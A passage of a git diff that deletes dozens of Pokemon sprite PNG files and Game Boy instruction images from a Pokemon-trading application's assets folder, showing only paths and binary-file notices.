b/applications/external/malveke_pokemon_trading/assets/diglett.png deleted file mode 100644 index e12c92ac712..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/diglett.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/ditto.png b/applications/external/malveke_pokemon_trading/assets/ditto.png deleted file mode 100644 index fb377a536d9..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/ditto.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/dodrio.png b/applications/external/malveke_pokemon_trading/assets/dodrio.png deleted file mode 100644 index 6f5cc3c1c37..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/dodrio.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/doduo.png b/applications/external/malveke_pokemon_trading/assets/doduo.png deleted file mode 100644 index 9ff1d840e0b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/doduo.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/dragonair.png b/applications/external/malveke_pokemon_trading/assets/dragonair.png deleted file mode 100644 index 92e610c2750..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/dragonair.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/dragonite.png b/applications/external/malveke_pokemon_trading/assets/dragonite.png deleted file mode 100644 index a0c7dc0dccc..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/dragonite.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/dratini.png b/applications/external/malveke_pokemon_trading/assets/dratini.png deleted file mode 100644 index b3e78961898..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/dratini.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/drowzee.png b/applications/external/malveke_pokemon_trading/assets/drowzee.png deleted file mode 100644 index 898be979e65..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/drowzee.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/dugtrio.png b/applications/external/malveke_pokemon_trading/assets/dugtrio.png deleted file mode 100644 index 5ed1e0fd377..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/dugtrio.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/eevee.png b/applications/external/malveke_pokemon_trading/assets/eevee.png deleted file mode 100644 index 393246272e0..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/eevee.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/ekans.png b/applications/external/malveke_pokemon_trading/assets/ekans.png deleted file mode 100644 index 529d5b4a310..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/ekans.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/electabuzz.png b/applications/external/malveke_pokemon_trading/assets/electabuzz.png deleted file mode 100644 index 6827c9093e6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/electabuzz.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/electrode.png b/applications/external/malveke_pokemon_trading/assets/electrode.png deleted file mode 100644 index 757446c1864..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/electrode.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/exeggcute.png b/applications/external/malveke_pokemon_trading/assets/exeggcute.png deleted file mode 100644 index b58d83f26e0..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/exeggcute.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/exeggutor.png b/applications/external/malveke_pokemon_trading/assets/exeggutor.png deleted file mode 100644 index ea8360877b3..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/exeggutor.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/farfetchd.png b/applications/external/malveke_pokemon_trading/assets/farfetchd.png deleted file mode 100644 index cc01fae59e7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/farfetchd.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/fearow.png b/applications/external/malveke_pokemon_trading/assets/fearow.png deleted file mode 100644 index 3d514764743..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/fearow.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/flareon.png b/applications/external/malveke_pokemon_trading/assets/flareon.png deleted file mode 100644 index b103b454882..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/flareon.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/fossilaerodactyl.png b/applications/external/malveke_pokemon_trading/assets/fossilaerodactyl.png deleted file mode 100644 index b2c7d5e3201..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/fossilaerodactyl.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/fossilkabutops.png b/applications/external/malveke_pokemon_trading/assets/fossilkabutops.png deleted file mode 100644 index f2eb21ef8f4..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/fossilkabutops.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/game_boy.png b/applications/external/malveke_pokemon_trading/assets/game_boy.png deleted file mode 100644 index 62144956a4a..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/game_boy.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/gastly.png b/applications/external/malveke_pokemon_trading/assets/gastly.png deleted file mode 100644 index 24e880930f9..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/gastly.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/gb_step_1.png b/applications/external/malveke_pokemon_trading/assets/gb_step_1.png deleted file mode 100644 index 71b181bed98..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/gb_step_1.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/gb_step_2.png b/applications/external/malveke_pokemon_trading/assets/gb_step_2.png deleted file mode 100644 index 29586e18e50..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/gb_step_2.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/gengar.png b/applications/external/malveke_pokemon_trading/assets/gengar.png deleted file mode 100644 index 41c58af829b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/gengar.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/geodude.png b/applications/external/malveke_pokemon_trading/assets/geodude.png deleted file mode 100644 index 087a19bdd75..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/geodude.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/gloom.png b/applications/external/malveke_pokemon_trading/assets/gloom.png deleted file mode 100644 index 7a589421ddc..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/gloom.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/golbat.png b/applications/external/malveke_pokemon_trading/assets/golbat.png deleted file mode 100644 index 8036d3b28f6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/golbat.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/goldeen.png b/applications/external/malveke_pokemon_trading/assets/goldeen.png deleted file mode 100644 index 95a9186b752..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/goldeen.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/golduck.png b/applications/external/malveke_pokemon_trading/assets/golduck.png deleted file mode 100644 index 829c3ac4526..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/golduck.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/golem.png b/applications/external/malveke_pokemon_trading/assets/golem.png deleted file mode 100644 index 4f73c05e9b7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/golem.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/graveler.png b/applications/external/malveke_pokemon_trading/assets/graveler.png deleted file mode 100644 index 920d90f1634..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/graveler.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/grimer.png b/applications/external/malveke_pokemon_trading/assets/grimer.png deleted file mode 100644 index d715f1b7092..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/grimer.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/growlithe.png b/applications/external/malveke_pokemon_trading/assets/growlithe.png deleted file mode 100644 index 75f61edd48e..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/growlithe.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/gyarados.png b/applications/external/malveke_pokemon_trading/assets/gyarados.png deleted file mode 100644 index d2cc65265aa..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/gyarados.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/haunter.png b/applications/external/malveke_pokemon_trading/assets/haunter.png deleted file mode 100644 index 516f09e5f4f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/haunter.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/hitmonchan.png b/applications/external/malveke_pokemon_trading/assets/hitmonchan.png deleted file mode 100644 index 8f9f427bc07..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/hitmonchan.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/hitmonlee.png b/applications/external/malveke_pokemon_trading/assets/hitmonlee.png deleted file mode 100644 index 1d129796182..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/hitmonlee.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/horsea.png b/applications/external/malveke_pokemon_trading/assets/horsea.png deleted file mode 100644 index 82dd5adbe39..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/horsea.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/hypno.png b/applications/external/malveke_pokemon_trading/assets/hypno.png deleted file mode 100644 index af36499d051..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/hypno.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/ivysaur.png b/applications/external/malveke_pokemon_trading/assets/ivysaur.png deleted file mode 100644 index 141c0211cd2..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/ivysaur.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/jigglypuff.png b/applications/external/malveke_pokemon_trading/assets/jigglypuff.png deleted file mode 100644 index 1c0fb506833..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/jigglypuff.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/jolteon.png b/applications/external/malveke_pokemon_trading/assets/jolteon.png deleted file mode 100644 index 24f981caf1d..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/jolteon.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/jynx.png b/applications/external/malveke_pokemon_trading/assets/jynx.png deleted file mode 100644 index 236f21bceb6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/jynx.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/kabuto.png b/applications/external/malveke_pokemon_trading/assets/kabuto.png deleted file mode 100644 index 07d16aa01b4..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/kabuto.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/kabutops.png b/applications/external/malveke_pokemon_trading/assets/kabutops.png deleted file mode 100644 index c8c7c09b4a6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/kabutops.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/kadabra.png b/applications/external/malveke_pokemon_trading/assets/kadabra.png deleted file mode 100644 index a6a817e8626..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/kadabra.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/kakuna.png b/applications/external/malveke_pokemon_trading/assets/kakuna.png deleted file mode 100644 index 63e34da3740..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/kakuna.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/kangaskhan.png b/applications/external/malveke_pokemon_trading/assets/kangaskhan.png deleted file mode 100644 index 6757a5c69f3..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/kangaskhan.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/kingler.png b/applications/external/malveke_pokemon_trading/assets/kingler.png deleted file mode 100644 index 66af12fcba8..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/kingler.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/koffing.png b/applications/external/malveke_pokemon_trading/assets/koffing.png deleted file mode 100644 index bfefab2f8fe..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/koffing.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/krabby.png b/applications/external/malveke_pokemon_trading/assets/krabby.png deleted file mode 100644 index 1bdb9a4c1f9..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/krabby.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/lapras.png b/applications/external/malveke_pokemon_trading/assets/lapras.png deleted file mode 100644 index 3023253da42..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/lapras.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/lickitung.png b/applications/external/malveke_pokemon_trading/assets/lickitung.png deleted file mode 100644 index 3bf3ead82ca..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/lickitung.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/machamp.png b/applications/external/malveke_pokemon_trading/assets/machamp.png deleted file mode 100644 index cf6e7170758..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/machamp.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/machoke.png b/applications/external/malveke_pokemon_trading/assets/machoke.png deleted file mode 100644 index da4f0e0a8c2..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/machoke.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/machop.png b/applications/external/malveke_pokemon_trading/assets/machop.png deleted file mode 100644 index 52c46840aab..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/machop.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/magikarp.png b/applications/external/malveke_pokemon_trading/assets/magikarp.png deleted file mode 100644 index 46fcf0921fa..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/magikarp.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/magmar.png b/applications/external/malveke_pokemon_trading/assets/magmar.png deleted file mode 100644 index 69352078ba1..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/magmar.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/magnemite.png b/applications/external/malveke_pokemon_trading/assets/magnemite.png deleted file mode 100644 index f4a03a61b03..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/magnemite.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/magneton.png b/applications/external/malveke_pokemon_trading/assets/magneton.png deleted file mode 100644 index b460ad749bc..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/magneton.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/mankey.png b/applications/external/malveke_pokemon_trading/assets/mankey.png deleted file mode 100644 index 5d2240e8f0f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/mankey.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/marowak.png b/applications/external/malveke_pokemon_trading/assets/marowak.png deleted file mode 100644 index 7950f721c53..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/marowak.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/meowth.png b/applications/external/malveke_pokemon_trading/assets/meowth.png deleted file mode 100644 index 0a2a94e3b40..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/meowth.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/metapod.png b/applications/external/malveke_pokemon_trading/assets/metapod.png deleted file mode 100644 index dcf3b6ecbbb..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/metapod.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/mew.png b/applications/external/malveke_pokemon_trading/assets/mew.png deleted file mode 100644 index b78fb63b3a9..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/mew.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/mewtwo.png b/applications/external/malveke_pokemon_trading/assets/mewtwo.png deleted file mode 100644 index 4d0c670d210..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/mewtwo.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/moltres.png b/applications/external/malveke_pokemon_trading/assets/moltres.png deleted file mode 100644 index c260503e548..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/moltres.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/mr.mime.png b/applications/external/malveke_pokemon_trading/assets/mr.mime.png deleted file mode 100644 index 8210d106ce8..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/mr.mime.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/muk.png b/applications/external/malveke_pokemon_trading/assets/muk.png deleted file mode 100644 index ae1a15c69c4..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/muk.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/nidoking.png b/applications/external/malveke_pokemon_trading/assets/nidoking.png deleted file mode 100644 index 447fabc5e53..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/nidoking.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/nidoqueen.png b/applications/external/malveke_pokemon_trading/assets/nidoqueen.png deleted file mode 100644 index fb1773e7100..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/nidoqueen.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/nidoranf.png b/applications/external/malveke_pokemon_trading/assets/nidoranf.png deleted file mode 100644 index 63aef252795..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/nidoranf.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/nidoranm.png b/applications/external/malveke_pokemon_trading/assets/nidoranm.png deleted file mode 100644 index 10eb35206e1..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/nidoranm.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/nidorina.png b/applications/external/malveke_pokemon_trading/assets/nidorina.png deleted file mode 100644 index 300f572a52a..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/nidorina.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/nidorino.png b/applications/external/malveke_pokemon_trading/assets/nidorino.png deleted file mode 100644 index d177f65a46a..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/nidorino.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/ninetales.png b/applications/external/malveke_pokemon_trading/assets/ninetales.png deleted file mode 100644 index 5a06cb812a8..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/ninetales.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/oddish.png b/applications/external/malveke_pokemon_trading/assets/oddish.png deleted file mode 100644 index 1277f57201c..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/oddish.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/omanyte.png b/applications/external/malveke_pokemon_trading/assets/omanyte.png deleted file mode 100644 index 516fef8f093..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/omanyte.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/omastar.png b/applications/external/malveke_pokemon_trading/assets/omastar.png deleted file mode 100644 index 82936671e35..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/omastar.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/onix.png b/applications/external/malveke_pokemon_trading/assets/onix.png deleted file mode 100644 index fae97b087b1..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/onix.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/paras.png b/applications/external/malveke_pokemon_trading/assets/paras.png deleted file mode 100644 index c0f6bc1f3f1..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/paras.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/parasect.png b/applications/external/malveke_pokemon_trading/assets/parasect.png deleted file mode 100644 index 0f721c18a23..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/parasect.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/persian.png b/applications/external/malveke_pokemon_trading/assets/persian.png deleted file mode 100644 index ee15c4b02f6..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/persian.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/pidgeot.png b/applications/external/malveke_pokemon_trading/assets/pidgeot.png deleted file mode 100644 index 53bfca82f36..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/pidgeot.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/pidgeotto.png b/applications/external/malveke_pokemon_trading/assets/pidgeotto.png deleted file mode 100644 index 776933ff8e1..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/pidgeotto.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/pidgey.png b/applications/external/malveke_pokemon_trading/assets/pidgey.png deleted file mode 100644 index 4273ef65db4..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/pidgey.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/pikachu.png b/applications/external/malveke_pokemon_trading/assets/pikachu.png deleted file mode 100644 index 77c9cff9bee..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/pikachu.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/pinsir.png b/applications/external/malveke_pokemon_trading/assets/pinsir.png deleted file mode 100644 index dc7848f3cdb..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/pinsir.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/poliwag.png b/applications/external/malveke_pokemon_trading/assets/poliwag.png deleted file mode 100644 index 81910be38e9..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/poliwag.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/poliwhirl.png b/applications/external/malveke_pokemon_trading/assets/poliwhirl.png deleted file mode 100644 index 11cffa8d56b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/poliwhirl.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/poliwrath.png b/applications/external/malveke_pokemon_trading/assets/poliwrath.png deleted file mode 100644 index 068b2b74c82..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/poliwrath.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/ponyta.png b/applications/external/malveke_pokemon_trading/assets/ponyta.png deleted file mode 100644 index 2e3d338b96c..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/ponyta.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/porygon.png b/applications/external/malveke_pokemon_trading/assets/porygon.png deleted file mode 100644 index 07d3ff0e0bd..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/porygon.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/primeape.png b/applications/external/malveke_pokemon_trading/assets/primeape.png deleted file mode 100644 index b2956602d2b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/primeape.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/psyduck.png b/applications/external/malveke_pokemon_trading/assets/psyduck.png deleted file mode 100644 index ba4f86ad486..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/psyduck.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/raichu.png b/applications/external/malveke_pokemon_trading/assets/raichu.png deleted file mode 100644 index f76be753236..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/raichu.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/rapidash.png b/applications/external/malveke_pokemon_trading/assets/rapidash.png deleted file mode 100644 index 272a684fb5b..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/rapidash.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/raticate.png b/applications/external/malveke_pokemon_trading/assets/raticate.png deleted file mode 100644 index a0e760e9bc2..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/raticate.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/rattata.png b/applications/external/malveke_pokemon_trading/assets/rattata.png deleted file mode 100644 index 76d834182e0..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/rattata.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/red.png b/applications/external/malveke_pokemon_trading/assets/red.png deleted file mode 100644 index 050ca22a5c7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/red.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/red_16x15.png b/applications/external/malveke_pokemon_trading/assets/red_16x15.png deleted file mode 100644 index d1e05bd8a5e..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/red_16x15.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/rhydon.png b/applications/external/malveke_pokemon_trading/assets/rhydon.png deleted file mode 100644 index bbe5427fe55..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/rhydon.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/rhyhorn.png b/applications/external/malveke_pokemon_trading/assets/rhyhorn.png deleted file mode 100644 index 006dc889d74..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/rhyhorn.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/sandshrew.png b/applications/external/malveke_pokemon_trading/assets/sandshrew.png deleted file mode 100644 index 5e665643e86..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/sandshrew.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/sandslash.png b/applications/external/malveke_pokemon_trading/assets/sandslash.png deleted file mode 100644 index 571081b3226..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/sandslash.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/scyther.png b/applications/external/malveke_pokemon_trading/assets/scyther.png deleted file mode 100644 index 165bcff4396..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/scyther.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/seadra.png b/applications/external/malveke_pokemon_trading/assets/seadra.png deleted file mode 100644 index 295dbf1a0fe..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/seadra.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/seaking.png b/applications/external/malveke_pokemon_trading/assets/seaking.png deleted file mode 100644 index 0f854066f4f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/seaking.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/seel.png b/applications/external/malveke_pokemon_trading/assets/seel.png deleted file mode 100644 index 3043fe253b2..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/seel.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/shellder.png b/applications/external/malveke_pokemon_trading/assets/shellder.png deleted file mode 100644 index cf5195556c7..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/shellder.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/slowbro.png b/applications/external/malveke_pokemon_trading/assets/slowbro.png deleted file mode 100644 index 9843ec8accc..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/slowbro.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/slowpoke.png b/applications/external/malveke_pokemon_trading/assets/slowpoke.png deleted file mode 100644 index d6e8ca12fa0..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/slowpoke.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/snorlax.png b/applications/external/malveke_pokemon_trading/assets/snorlax.png deleted file mode 100644 index f7456033909..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/snorlax.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/spearow.png b/applications/external/malveke_pokemon_trading/assets/spearow.png deleted file mode 100644 index 084686c931e..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/spearow.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/squirtle.png b/applications/external/malveke_pokemon_trading/assets/squirtle.png deleted file mode 100644 index be4849ee564..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/squirtle.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/starmie.png b/applications/external/malveke_pokemon_trading/assets/starmie.png deleted file mode 100644 index 9ce96a941b2..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/starmie.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/staryu.png b/applications/external/malveke_pokemon_trading/assets/staryu.png deleted file mode 100644 index d97faad4816..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/staryu.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/tangela.png b/applications/external/malveke_pokemon_trading/assets/tangela.png deleted file mode 100644 index 73c2dbad838..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/tangela.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/tauros.png b/applications/external/malveke_pokemon_trading/assets/tauros.png deleted file mode 100644 index 7700582275f..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/tauros.png and /dev/null differ diff --git a/applications/external/malveke_pokemon_trading/assets/tentacool.png b/applications/external/malveke_pokemon_trading/assets/tentacool.png deleted file mode 100644 index 117c03379d4..00000000000 Binary files a/applications/external/malveke_pokemon_trading/assets/tentacool.png and /dev/null 